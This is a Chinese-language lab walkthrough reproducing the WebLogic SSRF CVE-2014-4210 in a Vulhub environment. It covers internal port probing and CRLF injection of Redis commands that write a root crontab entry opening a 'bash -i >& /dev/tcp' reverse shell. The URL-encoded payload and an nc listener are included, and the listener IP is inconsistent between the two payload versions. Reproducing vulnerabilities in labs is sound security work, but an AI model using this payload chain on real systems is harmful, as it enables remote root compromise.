Weblogic - SSRF攻击内网redis服务漏洞

漏洞描述

SSRF（Server-Side Request Forgery），服务端请求伪造，是一种由攻击者构造形成由服务端发起请求的一个漏洞，一般情况下，SSRF攻击的目标是从外部网络无法访问的内部系统。

影响范围

10.0.2
10.3.6

复现环境搭建（CVE-2014-4210）

Vulhub中的ssrf环境，进入vulhub/Weblogic/ssrf 目录

使用：docker-compose up -d 命令启动

注意：默认会指定端口为 7001 以及6379，启动两个服务才算搭建成功

复现步骤

漏洞发现

SSRF漏洞存在于以下url中，直接访问无需密码

http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

抓包测试 burp suite

点击search，我们在brupsuite下测试。访问一个可以访问的IP:PORT
如：http://127.0.0.1:7001

利用：operator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi&  参数构造payload 

可访问的端口将会得到错误，一般是返回404（如下图）

一个非http的协议则会返回 did not have a valid SOAP

修改为一个不存在的端口，将会返回could not connect over HTTP to server。

通过错误的不同，即可探测内网状态。

注入HTTP头，利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点，其虽然是一个“GET”请求，但是我们可以通过传入%0a%0d来注入换行符，而某些服务（如redis）是通过换行符来分隔每条命令，也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先，通过ssrf探测内网中的redis服务器
（docker环境的网段一般是172.*），通过报错判断出 172.20.0.2:6379
存在redis服务

发送三条redis命令，将弹shell脚本写入/etc/crontab：

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.20.0.2/5003 0>&1\n\n\n\n"  

config set dir /etc/  

config set dbfilename crontab  

save

把这三条命令通过get包注入进去，先要将命令用url进行编码

注意，换行符是”\r\n”，也就是”%0D%0A”。

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.20.0.1%2F5003%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

  
# 172.20.0.1:为监听ip地址
# 5003:为监听机器端口
# 172.20.0.2：6379 为内网探测的redis地址及端口。

将url编码后的字符串放在ssrf的域名后面，发送：

监听机器开启监听反弹shell

nc -lvnp 5003

补充注意

可进行利用的cron有如下几个地方:

-   /etc/crontab 这个是肯定的
-   /etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
-   /var/spool/cron/root centos系统下root用户的cron文件
-   /var/spool/cron/crontabs/root debian系统下root用户的cron文件